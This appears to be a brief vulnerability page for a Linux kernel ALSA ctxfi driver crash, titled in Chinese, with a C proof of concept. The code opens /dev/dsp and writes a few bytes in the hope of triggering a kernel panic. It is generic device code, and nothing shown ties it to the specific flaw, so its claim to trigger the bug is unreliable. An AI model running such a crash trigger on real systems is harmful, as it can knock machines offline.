CVE-2026-31775 Linux内核ALSA ctxfi驱动崩溃漏洞

/* * PoC for CVE-2026-31775 * This PoC attempts to trigger the vulnerability by interacting * with the sound device on a system using the vulnerable hw20k2 hardware. * The crash typically occurs during driver initialization or resource access. */ #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> int main() { int fd; const char *device = "/dev/dsp"; printf("[+] Attempting to open audio device to trigger initialization...\n"); // Opening the device may trigger the resource allocation path fd = open(device, O_WRONLY); if (fd < 0) { perror("[-] Failed to open device"); printf("[-] Device might not exist or driver not loaded.\n"); return 1; } printf("[+] Device opened successfully. If vulnerable, kernel panic may occur.\n"); // Attempt a simple write operation to ensure interaction if (write(fd, "test", 4) < 0) { perror("[-] Write failed"); } close(fd); return 0; }